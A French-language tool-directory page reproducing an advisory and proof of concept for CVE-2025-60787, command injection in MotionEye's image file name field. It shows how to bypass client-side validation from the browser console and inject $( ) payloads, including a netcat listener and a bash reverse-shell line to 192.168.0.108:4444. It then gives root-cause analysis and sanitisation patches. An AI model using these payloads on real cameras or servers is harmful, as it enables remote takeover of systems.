Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-60787 — Preuve de concept pour CVE-2025-60787, démontrant l'exécution de code à distance dans MotionEye <= 0.43.1b4 via le contournement de la validation côté client et l'injection de commandes dans le nom de fichier de l'image. | Kitploit
Outils/GitHubGitHub/prabhatverma47/cve-2025-60787
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

Preuve de concept pour CVE-2025-60787, démontrant l'exécution de code à distance dans MotionEye <= 0.43.1b4 via le contournement de la validation côté client et l'injection de commandes dans le nom de fichier de l'image.

Voir le dépôt
5il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Lien original : https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE via contournement de la validation côté client

Résumé

Lors de tests de sécurité d'une instance MotionEye exécutée dans Docker, il a été observé que la validation côté client de l'interface web peut être contournée. Cela permet de soumettre des entrées arbitraires, y compris des charges utiles pouvant déclencher une exécution sur le conteneur hôte. Le problème présente un risque d'exécution de code à distance (RCE) s'il est exploité.

Versions concernées : Toutes les versions jusqu'à 0.43.1b4 inclus
État du correctif : Aucun correctif disponible pour le moment. Une solution de contournement est fournie dans cet avis.
Référence du projet : https://github.com/motioneye-project/motioneye
CWE : CWE-20, CWE-78, CWE-116
CVSS : 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS : 7.2/10


Environnement

  • Cible : MotionEye exécuté dans Docker
  • Image : ghcr.io/motioneye-project/motioneye:edge
  • Port exposé : 9999 mappé vers le port 8765 du conteneur
  • Identifiants de test : admin / mot de passe vide (par défaut)

  • Étapes de reproduction

    1. Configuration du conteneur

    Exécutez la commande suivante pour lancer le téléchargement de l'image Docker et démarrer le conteneur

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
    image

    2. Vérification de la version

    root@kitploit:~
    docker logs motioneye | grep "motionEye server"
    

    Résultat : Serveur MotionEye 0.43.1b4 image

    3. Accès au système de fichiers

    Une fois le conteneur Docker en cours d'exécution, le shell du conteneur peut être accessible à l'aide des commandes suivantes

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    
    image

    4. Accès initial

    Accédez à l'interface web à l'adresse :
    http://127.0.0.1:9999
    Connexion : admin (mot de passe vide)

    5. Configuration de la caméra

    Ajout d'une caméra réseau RTSP d'exemple.
    image

    6. Tentative d'injection

    Une commande d'exécution malveillante a été saisie dans « Images fixes » > « Nom du fichier image », mais une erreur de validation côté client a été rencontrée.

    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

    Bloqué par la validation côté client.
    image

    image

    7. Découverte de la validation côté client

    Le script suivant est responsable de la validation : /static/js/main.js?v=0.43.1b4, qui fait référence à /static/js/ui.js?v=0.43.1b4 pour implémenter les conditions de validation.

    Fichier : /static/js/main.js?v=0.43.1b4 faisant référence à /static/js/ui.js?v=0.43.1b4

    root@kitploit:~
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

    8. Technique de contournement

    En remplaçant la fonction configUiValid dans la console du navigateur, toutes les vérifications de validation peuvent être contournées : Saisissez l'extrait ci-dessous dans la console du navigateur (F12 ou Ctrl+Maj+I)

    root@kitploit:~
    configUiValid = function() { 
        return true; 
    };
    
    image

    9. Exécution de la charge utile

    La charge utile peut désormais être saisie directement sans aucune validation : définissez comme ci-dessous et appliquez les paramètres

    Paramètres :

    • Mode de capture = Instantanés périodiques
    • Intervalle = 10
    • Nom du fichier image :
    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    
    image

    Appliqué → Fichier créé avec les autorisations root.

    image

    Impact : Exploitation de la RCE

    Production d'un simple shell inversé :

    Écouteur :

    root@kitploit:~
    nc -lvnp 4444
    
    image

    Charge utile injectée :

    root@kitploit:~
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
    image

    Résultat : Shell distant obtenu.


    Cause racine et flux

    MotionEye est vulnérable car il prend les entrées utilisateur du tableau de bord web et les écrit directement dans les fichiers de configuration Motion sans vérifier les caractères dangereux. Par exemple, le champ image_file_name de l'interface est envoyé au backend (config.py) et enregistré dans /etc/motioneye/camera-.conf. Lorsque MotionEye redémarre le service Motion (motionctl.start), le processus Motion lit ce fichier de configuration. Si le champ picture_filename contient une syntaxe shell comme $(touch /tmp/test), Motion l'exécutera comme une véritable commande au lieu de la traiter comme faisant partie du nom de fichier.

    Entrée non assainie écrite dans les fichiers de configuration Motion :
    JS du tableau de bord → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion analyse picture_filename → exécute la charge utile


    Prévention

    Correctif d'assainissement

    Fichier : /usr/local/lib/python3.13/dist-packages/motioneye/config.py

    root@kitploit:~
    def sanitize_filename(value):
        # allow only letters, numbers, %, _, -, /, .
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # safe fallback
        return value
    
    image

    Appliquez l'assainissement :

    root@kitploit:~
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

    avant : image après : image


    Résolution alternative

    Étape 1 : Exécuter Docker

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

    Étape 2 : Accéder au conteneur

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

    Étape 3 : Modifier la configuration

    Original :

    root@kitploit:~
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

    Remplacez par :

    root@kitploit:~
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    
    image

    Étape 4 : Redémarrer

    root@kitploit:~
    docker restart motioneye
    
    image

    Correctif alternatif

    Dans motion_camera_ui_to_dict(...) :

    Original :

    root@kitploit:~
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

    Remplacez par :

    root@kitploit:~
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    

    Télécharger l’outil